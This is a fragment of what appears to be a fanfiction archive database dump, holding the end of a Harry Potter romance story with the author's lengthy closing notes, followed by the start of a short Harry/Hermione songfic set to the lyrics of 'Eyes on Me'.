music.&nbsp; They&#8217;re irrepressible.&#8221;</p>\n\n<p>&#8220;Are you Hermione Granger?&#8221; the witch asked.</p>\n\n<p>&#8220;Yes,&#8221; she replied.</p>\n\n<p>&#8220;I want to shake your hand.&nbsp; My name is Artemis Flowers and I for <st1:time minute="0" hour="1">one am</st1:time> grateful for all that you have done for the Wizarding World.&nbsp; We are in your debt for exposing the corruption in the Ministry.&nbsp; I can&#8217;t thank you enough.&#8221;</p>\n\n<p>&#8220;Why thank you,&#8221; Hermione said blushing.</p>\n\n<p>&#8220;And are you&#8230;Harry Potter?&#8221; Artemis asked.</p>\n\n<p>&#8220;Yes, I am,&#8221; he replied offering his hand to her.</p>\n\n<p>&#8220;It&#8217;s a pleasure to meet you.&nbsp; And are you two&#8230;?&#8221;</p>\n\n<p>&#8220;We&#8217;re <i>now</i> a couple,&#8221; Hermione said proudly. </p>\n\n<p>&#8220;Well, good.&nbsp; I can&#8217;t think of a nicer young couple,&#8221; Artemis replied as she took her leave.</p>\n\n<p>A few other witches and wizards came up to shake Hermione&#8217;s hand and some cast appreciative glances over to Sirius, Arabella and Arthur Weasley as they recognized what famous company they were in.</p>\n\n<p>After the well-wishers left them alone, Harry turned to Hermione and said,&nbsp; &#8220;I didn&#8217;t know you could play piano.&#8221;</p>\n\n<p>&#8220;I started when I was five.&nbsp; I wound up playing the piano a lot over the Easter holidays.&nbsp; After I went to the libraries and bookstores looking for law books, I needed something to calm my nerves,&#8221; said Hermione as she raised an eyebrow and looked at him suggestively.&nbsp; &#8220;There are a lot of things you don&#8217;t know about me, Harry Potter.&#8221;</p>\n\n<p>&#8220;I plan on sticking around and finding them all out,&#8221; he replied with a grin on his face.</p>\n\n<p>&nbsp;Hermione turned back to the piano and began to pound out &#8220;Crocodile Rock.&#8221;&nbsp; Harry sang along not caring whether or not he sang in tune.&nbsp; He was enjoying himself.&nbsp; Hermione nudged him with her shoulder and shot him a teasing look when she sang the line, &#8220;Susie&#8217;s dress so tight.&#8221;&nbsp;&nbsp; This caused the twins to howl with laughter.&nbsp; Then when she sang the line about Susie leaving him for some foreign guy she looked Harry in the eye and vigourously shook her head.&nbsp; Harry was feeling happy and in love.&nbsp; Nothing was going to spoil his mood.&nbsp; Not even thoughts about going home to the Dursleys.&nbsp; Right now, singing pop songs filled his heart and spirit with joy.</p>\n\n<p>Ron turned to Hermione as she finished the song.&nbsp; &#8220;Is your offer still good for me and Ginny to come visit you this summer?&nbsp; I think maybe we <i>should</i> get to know some Muggle popular culture.&nbsp; It looks like fun.&#8221;</p>\n\n<p>&#8220;Sure.&nbsp; I&#8217;ll ask my parents when a good time would be.&#8221;</p>\n\n<p>Harry smiled at that.&nbsp; Maybe Ron was trying to expand his own horizons.&nbsp; He wasn&#8217;t worried that Ron would be able to woo Hermione away from him.&nbsp; Especially not when he saw her casually move her locket back and forth on the chain and smile at him.</p>\n\n<p>&#8220;I don&#8217;t know Ron,&#8221; said Mr. Weasley warily.&nbsp; &#8220;I&#8217;m not sure how safe it would be for you.&nbsp; After all, her parents aren&#8217;t magical and you might be setting yourself up as sitting ducks.&#8221;</p>\n\n<p>Arabella then smiled and leaned forward, &#8220;Hermione, there&#8217;s something I have to tell you.&nbsp; After the trial, I realized that you would need protection.&nbsp; You now have such a high profile by bringing down the Minister of Magic, that you represent a very real threat to many forces within the Wizarding World.&nbsp; Even if you weren&#8217;t linked with Harry.&nbsp; So, I implemented a plan, Operation:&nbsp; Safehouse that I made years ago for just such emergencies.&nbsp; Your parents are renting a house from one of my neighbours, so you&#8217;ll be under the same type of protective surveillance that Harry is under.&#8221;</p>\n\n<p>Harry and Hermione exchanged a look with each other and then broke out in grins.&nbsp; Harry then looked at Sirius who had a smile on his face. </p>\n\n<p>&#8220;Surprise!&#8221; said his godfather.</p>\n\n<p>&#8220;How did a house become available?&#8221; asked Hermione.</p>\n\n<p>&#8220;Well, I had a couple different plans depending on what was needed.&nbsp; In this case my neighbour just &#8216;happened to win&#8217; the Grand Prize in a contest she didn&#8217;t even remember entering.&nbsp; She got an all expense paid trip to <st1:city><st1:place>Monte Carlo</st1:place></st1:city>, the French Riviera, and the Greek islands all for the next three months.&#8221;</p>\n\n<p>&#8220;That sounds really expensive,&#8221; said Ron.</p>\n\n<p>&#8220;It is,&#8221; Arabella agreed, &#8220;but Hermione&#8217;s security is worth it.&nbsp; The late Nicolas Flamel left a very generous endowment for Hogwarts.&nbsp; This will barely make a dent in it.&nbsp; I&#8217;m hoping that she will finally find that sugar daddy she&#8217;s been desperately searching for.&nbsp; If not, I may have to send Remus down there with a love potion to help the process along.&#8221;</p>\n\n<p>&#8220;Arabella, that sounds like you&#8217;re planning on harming a Muggle,&#8221; Mr. Weasley said with a warning note in his voice.</p>\n\n<p>&#8220;Believe me Arthur, it would only be used on someone who had sampled the merchandise but hadn&#8217;t committed to buy.&#8221;</p>\n\n<p>&#8220;Is this Nadine?&#8221; Harry asked grinning.</p>\n\n<p>&#8220;Yes, I thought it would be nice to feed two birds with one hand,&#8221; she answered smiling.&nbsp; &#8220;Bring Hermione under my security wing as well as rid myself of an annoying neighbour.&#8221;</p>\n\n<p>&#8220;How old is this woman?&#8221; Mrs. Weasley asked.</p>\n\n<p>&#8220;She&#8217;s in her early thirties,&#8221; Arabella replied.</p>\n\n<p>&#8220;Hmmm, you know Bill hasn&#8217;t seemed to find anyone that strikes his fancy.&nbsp; Perhaps he ought to expand his horizons to include Muggles.&#8221;</p>\n\n<p>&#8220;Oh Molly, you wouldn&#8217;t want Bill going out with Nadine,&#8221; Arabella said quickly shaking her head.</p>\n\n<p>&#8220;Why is that?&#8221; Mrs. Weasley asked.</p>\n\n<p>Sirius leaned over and whispered in her ear.&nbsp; As he spoke to her, Mrs. Weasley&#8217;s eyes grew larger, her face turned red and her jaw dropped.&nbsp; </p>\n\n<p>&#8220;Definitely not!&#8221; she snapped.&nbsp; Then she smiled guiltily at Sirius and giggled, &#8220;Tell me some more.&#8221;</p>\n\n<p>Sirius threw his head back and roared with laughter. </p>\n\n<p>Arabella turned back to Hermione, &#8220;Your parents have already moved into the house which is a few doors down from mine.&nbsp; It&#8217;s a bit of a commute for them, but it is for your safety.&nbsp; During the daytime, you can also come over to study with Sirius and myself.&#8221;</p>\n\n<p>&#8220;Good,&#8221; said Hermione brightly.&nbsp; &#8220;It&#8217;s never too early to start preparing for the N.E.W.T.s.&#8221;</p>\n\n<p>&#8220;You&#8217;re right about that,&#8221; said Arabella nodding.</p>\n\n<p>Harry laughed and shook his head.&nbsp; He didn&#8217;t want to think about studying for a few days.&nbsp; He was glad to be free of worrying about legal briefs, expulsion hearings or Azkaban.&nbsp; He didn&#8217;t want to think about the upcoming house-elf revolution and what that might mean to the Wizarding World.&nbsp; He wanted to forget about any worries he had about Voldemort, Death Eaters or any infernal spawn due to be born by Lilith.&nbsp; Maybe that unholy creature would grow up to someday overthrow Voldemort, similar to what Zeus did to Cronos.&nbsp; Or maybe, it could just be something that some other hero like Heracles would have to deal with in the future.&nbsp; All Harry knew was that right now he wanted to bask in the glow of feeling loved.&nbsp; Voldemort might subscribe to the Machiavellian belief that it is more secure to be feared than to be loved, but Harry had never felt as secure in his life than he did now that he was in love.</p>\n\n<p>Harry whispered in Hermione&#8217;s ear, &#8220;Maybe we won&#8217;t have to wait as long as we thought for us to do it again.&#8221;</p>\n\n<p>She nodded, gave him a knowing smile and whispered back, &#8220;I think we shouldn&#8217;t let my folks know right away about us.&nbsp; If they think we&#8217;re a couple, they might insist on me being chaperoned during the day when they&#8217;re at work.&#8221;</p>\n\n<p>He smiled at her, &#8220;I know how to keep secrets.&#8221;</p>\n\n<p>Hermione started nibbling on an earlobe.</p>\n\n<p>Fred looked at them and said, &#8220;Oh yeah, they&#8217;ll be studying all right.&nbsp; Anatomy by Braille.&#8221;</p>\n\n<p>&#8220;Yeah, get a room!&#8221; George said.</p>\n\n<p>&#8220;Come on you two, be nice,&#8221; said Mrs. Weasley.&nbsp; &#8220;It&#8217;s about time one of those two boys started paying attention to her.&nbsp; I&#8217;ve been surprised it took this long for someone to notice she&#8217;s a girl.&nbsp; And a nice one at that.&#8221;</p>\n\n<p>Harry glanced over at Ron and saw that his face had turned red.&nbsp; </p>\n\n<p>&#8220;Okay Ron,&#8221; said Mr. Weasley, &#8220;I guess that since Hermione&#8217;s house will be safe, that it&#8217;ll be fine for you and Ginny to go stay with her for a week this summer.&nbsp; But you won&#8217;t be able to go about Little Whinging unless you&#8217;re accompanied by either Sirius or Arabella.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t we plan it around the end of July?&#8221; Hermione suggested.&nbsp; &#8220;I bet the Dursleys have never had a birthday party for Harry.&nbsp; I&#8217;d like to plan something special for his birthday.&#8221;</p>\n\n<p>&#8220;Yeah, sounds good,&#8221; Ron grumbled.</p>\n\n<p>Ginny shifted uncomfortably in her seat as she glanced in Harry and Hermione&#8217;s direction.&nbsp; &#8220;Sure, I&#8217;ll come too.&#8221;</p>\n\n<p>&#8220;You guys will love it,&#8221; Hermione said cheerfully.&nbsp; &#8220;We&#8217;ll have movie marathons, different kinds of movies each day.&nbsp; Ron you&#8217;ll love the James Bond films and Ginny, I&#8217;ll be sure to get some good chick flicks, too.&nbsp; You&#8217;ll also learn all about music from the Beatles and the Moody Blues to the Sex Pistols.&#8221;</p>\n\n<p>&#8220;The&#8230;Sex&#8230;&#8221; Ron stammered.</p>\n\n<p>&#8220;Pistols,&#8221; Hermione said finishing his sentence.&nbsp; &#8220;They&#8217;re a Punk Rock group.&nbsp; I don&#8217;t really care for that kind of music.&nbsp; I don&#8217;t care for Rap, Heavy Metal or Grunge Rock either, but I think you should at least be familiar with it.&#8221;</p>\n\n<p>Ron and Ginny seemed to cheer up a little at that.&nbsp; They passed the rest of the ride with Hermione playing other songs on the piano that the Weasley children tried to pick up the words on.&nbsp; She played Fleetwood Mac&#8217;s &#8220;Don&#8217;t Stop (Thinking about Tomorrow),&#8221; Billy Joel&#8217;s &#8220;Piano Man,&#8221; and Don McLean&#8217;s &#8220;American Pie.&#8221;&nbsp; Harry enjoyed defiantly singing, &#8220;This&#8217;ll be the day that I die.&#8221;&nbsp; Everyone&#8217;s throats became hoarse from singing and laughing.</p>\n\n<p>As they disembarked from the bus in Little Whinging, Harry tried his best to appear as an upstanding young man before Mr. and Mrs. Granger.&nbsp; He certainly didn&#8217;t want them to know that the previous night he had been intimate with their only daughter.&nbsp; They shook hands with him, but seemed much more interested in talking with Sirius and Arabella and cooing over Soraya.</p>\n\n<p>Harry turned to say goodbye to Hermione.&nbsp; He wanted to take her in his arms and kiss her, but restrained himself knowing that her parents were only a few feet away.</p>\n\n<p>&#8220;I&#8217;ll see you in the morning,&#8221; she said huskily.</p>\n\n<p>&#8220;Until then,&#8221; he said looking lovingly in her eyes.</p>\n\n<p>As Harry walked the few blocks to <st1:street><st1:address>Privet Drive</st1:address></st1:street> pulling his trunk and carrying Hedwig&#8217;s cage, he felt a new sensation.&nbsp; For the first time in his life, he was looking forward to his summer holidays.&nbsp; He was in love and had his girlfriend living nearby.&nbsp; He was looking forward to spending time with his godfather, his favourite teacher and a new baby.&nbsp; He hoped that he might get to ride on the back of Sirius&#8217;s motorcycle and he was also hoping to spend lots of time unchaperoned with Hermione.&nbsp; Things were indeed looking up for Harry Potter.</p>\n\n<p>The End.</p>\n\n<p>Massive end of story notes:&nbsp; I&#8217;d like to thank everyone who has taken the time to post their reviews on my message boards and for following along with my story:&nbsp; Alez Burrow, amulder, AnimeFanatic, Aradia Ring, Arron!, Ashley, Batgirl, Batgirl1801, Brandie, catark, Chelsea, chrissy, darkstar, Dream, E. C. R. Potter, FlipSwimmer215, Full Moon, Georgiana, Heaven, HerioneGranger 4 ever, Jessi, Jonesy, LadyGranger, lilyflower017, katrina, KHALIL, kinicky21, Kristin, Krystyna, Liedral,&nbsp; Lil&#8217; Angel, Megan, Michelle, MostEvilKitten, msscribe, NAPPA,&nbsp; nelli_08, Nicole, nienie, NIGHTSTALKER, Old Wolf, Professor Granger, Roger, SamanthaMarie, SilverDagger, Slane, Snake, soccerpunx, star429, Thelvyn, theocacoon, Tina, Tristan, vagrantshadow, XxKkAnGxX, and yurimionepotter.&nbsp; I hope that I included everyone by name that posted, because I do appreciate those who have taken the time to post reviews for me.</p>\n\n<p>There was a question for me at the end of the last chapter from theocacoon who wanted to know if I was the same author as the one who posted this story on Schnoogle.&nbsp; Yes, I am.&nbsp; I retitled the story because there were several comments that thought, &#8220;Sirius Black&#8217;s Secret Love&#8221; didn&#8217;t accurately reflect the story&#8217;s content.&nbsp; I thought it did, since it really was Arabella&#8217;s love child that caused the climax of the story.&nbsp; ::shrugs:: However, since I heard that comment many times, I decided to change it.&nbsp; And it has not disappeared from Schnoogle, it is still archived there under that name.&nbsp; I also used the same penname, so it should be obvious that I didn&#8217;t steal anything.&nbsp; I merely republished and tweaked it a little.&nbsp; But thank you for looking out for me on the question of plagiarism, except it does not apply in this case.&nbsp; I know that other fanfic authors have had their work stolen and reprinted.&nbsp; I don&#8217;t understand what would motivate someone to do that, but it does happen.&nbsp; So thanks once again for your concern on my behalf.</p>\n\n<p>Dream had suggested at the end of chapter 16 that I pair up Ron with Lavender Brown.&nbsp; Nope.&nbsp; Too easy.&nbsp; I had briefly contemplating creating a fourth year Ravenclaw to pair Ron with that would ask for his help in Divination class, that would have helped to foreshadow his prophetic powers.&nbsp; I thought about that for maybe two minutes before I discarded the idea as being too pat.&nbsp; Same thing with Ginny.&nbsp; I could have paired her off easily with Neville.&nbsp; Just so there weren&#8217;t any hard feelings.&nbsp; Sorry, but unrequited love is a reality and it is a painful one.&nbsp; I didn&#8217;t want to create a big old tray of baklava that was so drippingly sweet that your teeth would rot in your head.&nbsp; Instead, I made it sweet and sour.&nbsp; Vinegar with the honey.&nbsp; Harry and Hermione being together will disappoint both Ron and Ginny.&nbsp; That&#8217;s what I predict and I have no problem with the idea of love triangles.&nbsp; Bring &#8216;em on JKR!</p>\n\n<p>There have been a few reviewers that asked whether or not I really am JKR.&nbsp; Uh, no.&nbsp; Think about it, I took you places that JKR won&#8217;t.&nbsp; Namely:&nbsp; Arabella Figg&#8217;s bedroom!&nbsp; She&#8217;d never do that and I highly doubt that she will show any explicit sexual activity in the adolescent set either.&nbsp; I did, which should prove that I am not Jo Rowling.&nbsp; But thanks for that vote of confidence in my writing skills.</p>\n\n<p>There have been some incredibly kind comments that have been placed on my boards.&nbsp; I am glad that my writing has touched so many people. That truly warms my heart.&nbsp; Others have challenged some of my dramatic choices, that&#8217;s fine too.&nbsp; After all, what is the point of writing if it doesn&#8217;t challenge yourself and your readers?</p>\n\n<p>I hope that I have tied up all the loose ends on this story.&nbsp; It was the reviews from both Batgirl and SamanthaMarie after chapter 11 that caused me to realize that there was one that I hadn&#8217;t tied off.&nbsp; It didn&#8217;t really make much difference, but they wanted to know the identity of the Death Eater that caused the disturbance at Charlie&#8217;s funeral.&nbsp; I hadn&#8217;t really thought of that little detail before, but figured that it would be easy to just add that onto the whole long list of horrible things that Pettigrew did.&nbsp; So I added that into chapter sixteen.&nbsp; I wanted to mention that I inserted many, many in-jokes into the text.&nbsp; Some were simply for my own amusement, but others were in an attempt to add more layers of meaning to the storyline.&nbsp; That&#8217;s part of what intrigues me with J.K. Rowling&#8217;s writing is the many layers of meaning in her story.&nbsp; If there are other questions about my story, please be sure to include your email address in a review and I&#8217;ll respond.</p>\n\n<p>One example of a small detail in the last chapter that I doubt anyone would have picked up on, but was one of my flourishes was the colours used in the wedding ceremony.&nbsp; The colours of purple, green and white were the ones used by British suffragettes.&nbsp; I tried to find out if they had a specific flower for their movement, but couldn&#8217;t find an answer to that question.&nbsp; So I used the yellow rose, which was used by American suffragists.&nbsp; Don&#8217;t look at floral pages for the meaning of roses &#8211; it was the historical significance that led to its being chosen.&nbsp; That&#8217;s because I would think that both Hermione and Arabella would care about such symbolic things.</p>\n\n<p>I had several people help in beta reading my chapters or portions of chapters.&nbsp; I&#8217;d like to thank Maria 1314, Daniel Jackson author of &#8220;Harry Potter and the Time of Shadows,&#8221; on Schnoogle.com and Lanski author of &#8220;A New Ghost&#8221; on TheDarkArts.org for giving me their opinions and suggestions on different aspects of my storyline.&nbsp; </p>\n\n<p>A special thanks goes to Ama (<st1:place><st1:placename>Bonsai</st1:placename>\n\n<st1:placetype>Mountain</st1:placetype></st1:place>) whose interest in justice for the house-elves led to a correspondence about our mutual interest in Sirius Black.&nbsp; That led to me seeing if I could stretch a few lusty scenes into a novel length story.&nbsp; She gave me valuable feedback regarding my storyline. Another great debt of gratitude goes to Cara Hicks who did a fabulous job of wordsmithing and made countless suggestions to strengthen my writing.&nbsp; One interesting thing to note is that both of these women are Ron/Hermione and Harry/Ginny shippers.&nbsp; I asked for more input from other beta readers at the end who could provide feedback that could provide a more &#8220;objective outlook&#8221; on the romantic angle.</p>\n\n<p>I had also wanted to include a filk for this last chapter, but my muse isn&#8217;t very good at doing song parodies.&nbsp; I contacted Caius Marcius and tried to commission one for &#8220;Benny and the Jets,&#8221; but his muse took that song and made a filk for Ludo Bagman and his bets.&nbsp; (Shrugs.)&nbsp; He tried to be helpful and suggested several different filks, but none really fit the bill.&nbsp; For those who have not discovered Harry Potter themed songs, I recommend his website at:&nbsp; <a href="http://home.att.net/~coriolan/hpfilks.htm">http://home.att.net/~coriolan/hpfilks.htm</a></p>\n\n<p>I&#8217;d like to place another plug for the Harry Potter for Grown Ups list serv, which allows for critical analysis and sometimes incredibly bizarre theories dealing with all things Potterverse.&nbsp; I have been inspired by many of the raging debates on that forum and cannot even begin to tell you how many snippets of things in my story had some origin on that forum.&nbsp; You can join it at:&nbsp; <a href="http://groups.yahoo.com/group/HPforGrownups/">http://groups.yahoo.com/group/HPforGrownups/</a></p>\n\n<p>I had a wonderful time writing this story.&nbsp; I enjoyed trying out different techniques to see how great of an emotional range I could pull off.&nbsp; Thank you for being my guinea pigs and for going along for a bumpy and big bang filled ride.&nbsp; I know that some fanfic authors wind up doing different stories, sequels, etc.&nbsp; I won&#8217;t be.&nbsp; I&#8217;ve been a writer for many years, but mostly political essays and academic papers, this was my first real attempt to do novel length fiction.&nbsp; It was an experiment to see if I had the discipline, stamina and talent to do so.&nbsp; I enjoyed it immensely and I am in the beginning stages of trying to write another novel, only this time it is an original story.&nbsp; When I finish it there is then the chance that I might be able to get it published and get paid for it.&nbsp; I also don&#8217;t have enough theories left of where JK Rowling is going to go with her story to spin another year&#8217;s worth of storyline.&nbsp; So this is an appeal to those who have read my story but have never posted reviews, if you like my writing please go back and review.&nbsp; I shall be using this story and the review boards in an attempt to get either an agent or a publisher interested in my future writings.&nbsp; I will also be looking for people interested in giving me feedback about my novel once I have it in a form that can be shown to someone.&nbsp; Currently it is an amorphous mass of scribblings and a broad outline.&nbsp; But if you are interested, please let me know.&nbsp; I want to make it as strong as possible before sending it out to agents or publishers.</p>\n\n<p>I would also like to recommend to any writers or anyone interested in becoming a writer that they join a writers club.&nbsp; I belong to the California Writers Club and find it very helpful.&nbsp; If for no other reason than it offers camaraderie with other authors and I always find myself inspired after talking with them.&nbsp; It is important to seek encouragement from others when you are engaged in an activity that by its very nature is solitary and isolating.&nbsp;&nbsp; A link to their website is:&nbsp; <a href="http://www.calwriters.com/Main.html">http://www.calwriters.com/Main.html</a>&nbsp; Sail on!</p>\n\n<p>Lastly I&#8217;d like to thank those who do so much to create and maintain a cyber community for HP fans and writers that allow us all to share our theories in cyberspace.&nbsp; Thank you especially to Heaven, James and NAPPA and the various moderators who help to make this place run smoothly.</p>\n\n<p>I am hoping to go to the Nimbus 2003 Symposium, so if you are going &#8211; please look me up.&nbsp; Otherwise, I shall see you around the fandom.</p>\n\n<p>Au revoir.</p> '),
	(261, 1, '\n\n\n\n<p class="MsoNormal">Eyes on Me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n: Sorry, This is my first song fic so don&#8217;t be too cruel.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Next up in the Three Broomsticks talent show, give it up\nfor, Harry, Hermione,</p>\n\n<p class="MsoNormal">and Ron&#8230;&#8221; A mysterious person gave Madam Rosmerta a\ndifferent card. &#8220;Sorry,</p>\n\n<p class="MsoNormal">just been informed that Ron Weasly is sick so he will not be\njoining them.&#8221;</p>\n\n<p class="MsoNormal">Harry and Hermione looked at Ron&#8217;s seat to find him not\nthere. &#8220;Now, they shall</p>\n\n<p class="MsoNormal">be singing &#8220;What&#8217;s Up&#8221; by&#8230; sorry, made another mistake. They\nshall be singing</p>\n\n<p class="MsoNormal">&#8220;Eyes on Me&#8221; by Faye Wong!&#8221; &#8220;What!, but we don&#8217;t even know\nthat song!&#8221; Hermione</p>\n\n<p class="MsoNormal">cried, Madam Rosmerta didn&#8217;t care and shoved them onto\nstage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whenever sang my songs</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On the stage, on my own</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Whenever said my words</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Wishing they would be heard&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Harry and Hermione&#8217;s surprise, they wee doing very well.\nThe spotlights were</p>\n\n<p class="MsoNormal">upon them. Both of their thoughts were, *When this is over,\nRon is dead* even</p>\n\n<p class="MsoNormal">though the spotlights were shining in their eyes, the two\ncould sort of see Ron</p>\n\n<p class="MsoNormal">sitting at their table drinking butter beer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I saw you smiling at me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Was it real or just my fantasy?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You\'d always be there in the corner</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Of this tiny little bar&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The thoughts of killing Ron seemed to have ceased as Harry\nand Hermione began</p>\n\n<p class="MsoNormal">to get nervous around each other instead of the crowd.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My last night here for you</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Same old songs, just once more</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">My last night here with you?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Maybe yes, maybe no&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback ~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry fell off the Firebolt after the stunner charm hit him.\nHarry was in the</p>\n\n<p class="MsoNormal">hospital wing and the first and only person he saw was\nHermione. She was crying</p>\n\n<p class="MsoNormal">and right beside him the whole time and for one of the first\ntimes in his life,</p>\n\n<p class="MsoNormal">he felt loved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*End of Flashback*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I kind of liked it your way</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">How you shyly placed your eyes on me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Did you ever know</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That I had mine on you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback Continues ~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry placed a hand on the back of Hermione&#8217;s head, trying\nto comfort her. She</p>\n\n<p class="MsoNormal">finally looked up, blushing at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback *~* (A/n: Yea, I know that was short,\nbut bear with me!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Darling, so there you are</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With that look on your face</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if you\'re never hurt</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if you\'re never down&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback Continues ~*~&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared into Harry&#8217;s eyes, as did Harry. Both felt a\nsudden lurch in</p>\n\n<p class="MsoNormal">their stomachs then. They both leaned closer and closer</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback *~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall I be the one for you</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Who pinches you softly but sure</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If frown is shown then</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I will know that you are no dreamer&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback Continues ~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were centimeters away from each others lips until Madam\nPomfrey came in</p>\n\n<p class="MsoNormal">seeing Harry awake, breaking their moment and snapping them\nback into reality.</p>\n\n<p class="MsoNormal">After the checkup, Madam Pomfrey left without a word,\nleaving Harry and</p>\n\n<p class="MsoNormal">Hermione to blush deeply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback *~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So let me come to you</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Close as I want to be</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Close enough for me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To feel your heart beating fast&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~Flashback #2~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione were working on a special project against\nVoldemort. After</p>\n\n<p class="MsoNormal">hours of research finding patterns, they fell asleep in the\ncommon room by the</p>\n\n<p class="MsoNormal">fire. The next mourning, Hermione woke up to find a already\nwoken Harry. She</p>\n\n<p class="MsoNormal">just dug herself deeper within him in her sleep, feeling his\nheart beating</p>\n\n<p class="MsoNormal">fast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback #2 *~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And stay there as I whisper</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">How I love your peaceful eyes on me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Did you ever know</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That I had mine on you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback #2 Continues ~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just stared, amazed that Hermione did not slap or hex\nhim to death. He</p>\n\n<p class="MsoNormal">wanted to wake her up, but he just couldn&#8217;t bear to let go\nof the good feeling</p>\n\n<p class="MsoNormal">within him, he also did not want to wake up the peaceful\nHermione or he was</p>\n\n<p class="MsoNormal">sure she would hex him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback #2 *~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Darling, so share with me</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Your love if you have enough</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Your tears if you\'re holding back</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Or pain if that\'s what it is&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~ Flashback #2 Continues ~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">People finally came down from their dorms to see Harry and\nHermione&#8217;s position.</p>\n\n<p class="MsoNormal">They gave out snickers, glares, and wolf howls. So much\nsound came that</p>\n\n<p class="MsoNormal">Hermione finally woke up. She saw their surroundings and ran\nto her room crying</p>\n\n<p class="MsoNormal">in fear that Harry would hate her for giving him\nhumiliation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~* End of Flashback #2 *~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How can I let you know</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\'m more than the dress and the voice</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just reach me out then</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You will know that you\'re not dreaming&#8221;</p>\n\n<p 